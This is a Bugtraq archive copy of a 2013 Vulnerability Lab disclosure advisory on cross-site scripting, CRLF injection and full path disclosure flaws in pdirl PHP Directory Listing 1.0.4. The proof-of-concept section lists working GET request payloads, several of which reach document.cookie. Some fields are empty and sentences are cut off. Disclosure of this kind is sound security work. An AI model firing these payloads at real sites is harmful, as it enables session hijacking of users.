Home page logo

bugtraq logo Bugtraq mailing list archives

pdirl PHP Directory Listing 1.0.4 - Cross Site Scripting Web Vulnerabilities
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Fri, 01 Nov 2013 19:23:38 +0100

Document Title:
pdirl PHP Directory Listing 1.0.4 - Cross Site Scripting Web Vulnerabilities

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
pdirl (PHPDirListing) is a tiny directory listing program. It is meant to be better looking and more useful than the 
directory listings produced by Apache. I didn`t want to reinvent the wheel so I looked for an existing PHP script and 
I ve found PHPDL by Greg Johnson, I added some features to it. (1.0.x is no longer based on PHPDL.)

(Copy of the Vendor Homepage: http://pdirl.newroots.de/ ) 

Abstract Advisory Information:
An independent Vulnerability Laboratory Researcher discovered multiple web vulnerabilities in the pdirl PHP Listing 
v1.0.4 web-application.

Vulnerability Disclosure Timeline:
2013-11-01:    Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Greg Johnson
Product: pdirl PHP Listing - Web Application 1.0.4

Exploitation Technique:

Severity Level:

Technical Details & Description:
Multiple client-side cross site scripting vulnerabilities are detected in the official pdirl PHP Directory Listing 
The vulnerability allows remote attackers to manipulate via GET method web-application to browser requests 

The client-side cross site scripting web vulnerability is located in the vulnerable index.php file and the id path 
Remote attackers can manipulate the `index.php` file GET method request with the vulnerable ./pdirl path value to 
client-side web application context.

Successful exploitation of the client-side cross site scripting web vulnerability results in session hijacking, 
phishing, client-side unauthorized external redirects and client-side manipulation of the contact formular module 

Vulnerable Module(s):
                                [+] .pdirl

Vulnerable File(s):
                                [+] index.php

Vulnerable Path:
                                [+] ../icons/
                                [+] ../icons/default
                                [+] ../template/
                                [+] ../template/default
                                [+] ../.pdirl/templates

Proof of Concept (PoC):
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without privileged web 
application user 
account but with low user interaction. For demonstration or to reproduce ...

PoC: CS Cross Site Scripting 

GET /[PATH]/?"onmouseover='prompt(7331)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/icons/?</title>1<ScRiPt>prompt(document.cookie)</ScRiPt> HTTP/1.1
GET /[PATH]/.pdirl/icons/default/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/templates/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/templates/default/?</title>1<ScRiPt>prompt(document.cookie)</ScRiPt> HTTP/1.1
GET /[PATH]/index.php/%22onmouseover%3d'prompt(document.cookie)'bad%3d%22> HTTP/1.1
GET /[PATH]/index.php?directory=.pdirl/templates/%22%20onmouseover%3dprompt(7331)%20bad%3d%22 HTTP/1.1

PoC: CRLF injection/HTTP Response Splitting
GET /[PATH]/index.php?directory=%0d%0a%20[CSRF:FORM:INJECT!]&sortkey=name

PoC: Full Path Disclosure Links
GET /[PATH]/index.php?directory='"\'\");|]*{%0d%0a<%00>%bf%27'&sortkey=name&sortorder=SORT_DESC HTTP/1.1
GET /[PATH]/index.php?directory='"\'\");|]*{%0d%0a<%00>%bf%27'&gosearch=Search... HTTP/1.1
GET /[PATH]/index.php?directory=./&gosearch='"\'\");|]*{%0d%0a<%00>%bf%27' HTTP/1.1
GET /[PATH]/index.php?directory=./?directory=./&search=..%c0%af HTTP/1.1

Security Risk:
The security risk of the client-side cross site scripting web vulnerabilities are estimated as medium.

The security risk of the client-side cross site request forgery web vulnerability is estimated as medium(-).

The security risk of the full path disclosure issue is estimated as low.

Credits & Authors:
lincoln.dll (linc0ln.dll () hotmail com) [www.hackinq.pl]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss 
of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such 
damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack 
into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                             - www.evolution-sec.com
Contact:    admin () vulnerability-lab com      - research () vulnerability-lab com            - admin () evolution-sec 
Section:    www.vulnerability-lab.com/dev       - forum.vulnerability-db.com                   - 
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                - 
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php   - 

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the 
use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, 
videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, 
list (feed), 
modify, use or edit our material contact (admin () vulnerability-lab com or research () vulnerability-lab com) to get a 

                                Copyright © 2013 | Vulnerability Laboratory [Evolution Security]

DOMAIN: www.vulnerability-lab.com
CONTACT: research () vulnerability-lab com

  By Date           By Thread  

Current thread:
  • pdirl PHP Directory Listing 1.0.4 - Cross Site Scripting Web Vulnerabilities Vulnerability Lab (Nov 04)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]